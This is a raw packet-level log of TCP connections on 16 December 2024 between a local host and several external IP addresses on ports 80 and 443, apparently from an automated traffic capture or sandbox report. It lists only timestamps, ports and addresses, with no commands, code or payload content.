Dec 16, 2024 15:02:16.340131044 CET	49878	443	192.168.2.6	20.198.118.190
Dec 16, 2024 15:02:16.340347052 CET	49878	443	192.168.2.6	20.198.118.190
Dec 16, 2024 15:02:16.340372086 CET	443	49878	20.198.118.190	192.168.2.6
Dec 16, 2024 15:02:16.405787945 CET	49865	80	192.168.2.6	185.215.113.43
Dec 16, 2024 15:02:16.406485081 CET	49890	80	192.168.2.6	185.215.113.43
Dec 16, 2024 15:02:16.525892973 CET	80	49865	185.215.113.43	192.168.2.6
Dec 16, 2024 15:02:16.526160002 CET	80	49890	185.215.113.43	192.168.2.6
Dec 16, 2024 15:02:16.526181936 CET	49865	80	192.168.2.6	185.215.113.43
Dec 16, 2024 15:02:16.529383898 CET	49890	80	192.168.2.6	185.215.113.43
Dec 16, 2024 15:02:16.577197075 CET	49890	80	192.168.2.6	185.215.113.43
Dec 16, 2024 15:02:16.697683096 CET	80	49890	185.215.113.43	192.168.2.6
Dec 16, 2024 15:02:17.597801924 CET	443	49887	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:17.597876072 CET	49887	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:17.599406004 CET	49887	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:17.599415064 CET	443	49887	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:17.599682093 CET	443	49887	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:17.650438070 CET	49887	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:17.650480986 CET	49887	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:17.650584936 CET	443	49887	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:17.991563082 CET	80	49890	185.215.113.43	192.168.2.6
Dec 16, 2024 15:02:17.991662979 CET	49890	80	192.168.2.6	185.215.113.43
Dec 16, 2024 15:02:17.994040966 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:17.995007038 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:18.114305973 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:18.114394903 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:18.114876986 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:18.114972115 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:18.115426064 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:18.235394955 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:18.328686953 CET	443	49887	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:18.328783035 CET	443	49887	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:18.328854084 CET	49887	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:18.331114054 CET	49887	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:18.331140995 CET	443	49887	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:18.341762066 CET	49894	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:18.341795921 CET	443	49894	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:18.341919899 CET	49894	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:18.342261076 CET	49894	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:18.342273951 CET	443	49894	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:19.446544886 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.446607113 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.446619034 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.446666956 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.446700096 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.446728945 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.446741104 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.446753979 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.446767092 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.446779013 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.446800947 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.446923971 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.446935892 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.446948051 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.446958065 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.446983099 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.553814888 CET	443	49894	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:19.553891897 CET	49894	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:19.555365086 CET	49894	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:19.555376053 CET	443	49894	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:19.555614948 CET	443	49894	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:19.557003021 CET	49894	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:19.557028055 CET	49894	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:19.557065010 CET	443	49894	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:19.566508055 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.566554070 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.566579103 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.566601992 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.638647079 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.638710022 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.638767958 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.638811111 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.642777920 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.642844915 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.644315958 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.644366980 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.644454956 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.644510031 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.652726889 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.652780056 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.652822018 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.652868986 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.662561893 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.662621975 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.662668943 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.669523001 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.669557095 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.669589996 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.669621944 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.677886963 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.677995920 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.677998066 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.678031921 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.686362982 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.686441898 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.686485052 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.694751978 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.694763899 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.694806099 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.703114033 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.703129053 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.703162909 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.703196049 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.711690903 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.711730003 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.711738110 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.711760998 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.719881058 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.719927073 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.830763102 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.830826044 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.830858946 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.830910921 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.833046913 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.833173037 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.833175898 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.833220005 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.837820053 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.837882042 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.839551926 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.839596033 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.839692116 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.839737892 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.844438076 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.844492912 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.844537973 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.849175930 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.849229097 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.849276066 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.849320889 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.853954077 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.853987932 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.854005098 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.854046106 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.858700991 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.858758926 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.858789921 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.858809948 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.863593102 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.863647938 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.863684893 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.863735914 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.868253946 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.868305922 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.868432045 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.868602991 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.873037100 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.873091936 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.873147964 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.873188972 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.877808094 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.877861023 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.877944946 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.877990007 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.882684946 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.882756948 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.882760048 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.882801056 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.887454987 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.887526035 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.887572050 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.887725115 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.892245054 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.892314911 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.892329931 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.892364979 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.896951914 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.896967888 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.897005081 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.897033930 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.901829004 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.901878119 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.901913881 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.902000904 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.906615973 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.906670094 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.906723976 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.906814098 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.911509037 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.911546946 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:19.911571026 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:19.911603928 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.022865057 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.022885084 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.022949934 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.024596930 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.024746895 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.025310993 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.025394917 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.025417089 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.025480032 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.029208899 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.029294014 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.029340982 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.029340982 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.033097982 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.033158064 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.033206940 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.033268929 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.036931038 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.037039042 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.037043095 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.037138939 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.040680885 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.040743113 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.040880919 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.041017056 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.044311047 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.044327974 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.044395924 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.044395924 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.047931910 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.048048019 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.048077106 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.048146963 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.051584959 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.051604033 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.051636934 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.051657915 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.055248022 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.055340052 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.055361986 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.055419922 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.058896065 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.059003115 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.059019089 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.059076071 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.062547922 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.062602997 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.062659025 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.062659025 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.066083908 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.066163063 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.066210985 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.066288948 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.069683075 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.069735050 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.069736958 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.069818020 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.073580027 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.073638916 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.073687077 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.073750973 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.077143908 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.077204943 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.077282906 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.077389956 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.080713034 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.080810070 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.080811024 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.080905914 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.084430933 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.084444046 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.084494114 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.087965965 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.088041067 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.088116884 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.088116884 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.091594934 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.091620922 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.091710091 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.091710091 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.095145941 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.095227957 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.095263958 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.097213030 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.098874092 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.098918915 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.099009991 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.099009991 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.102394104 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.102458000 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.102642059 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.102642059 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.106082916 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.106102943 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.106194973 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.106194973 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.109849930 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.109930992 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.110002995 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.110002995 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.113317966 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.113413095 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.113440990 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.114810944 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.117292881 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.117306948 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.117465019 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.121016979 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.121030092 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.121228933 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.124260902 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.124277115 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.125271082 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.127893925 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.127985954 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.128002882 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.128123045 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.131473064 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.131520987 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.131628036 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.131628036 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.135102987 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.135154963 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.135288000 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.135394096 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.214745045 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.214869976 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.215008974 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.216316938 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.216411114 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.216427088 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.216485023 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.219546080 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.219716072 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.220557928 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.220622063 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.220654964 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.220782995 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.223772049 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.223793030 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.223846912 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.224122047 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.226711035 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.226958990 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.227144957 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.227201939 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.229736090 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.229799032 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.229840040 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.230202913 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.232743979 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.232763052 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.232851028 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.232851028 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.235308886 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.235332966 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.235423088 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:20.238075018 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:20.238133907 CET	49892	80	192.168.2.6	185.215.113.16
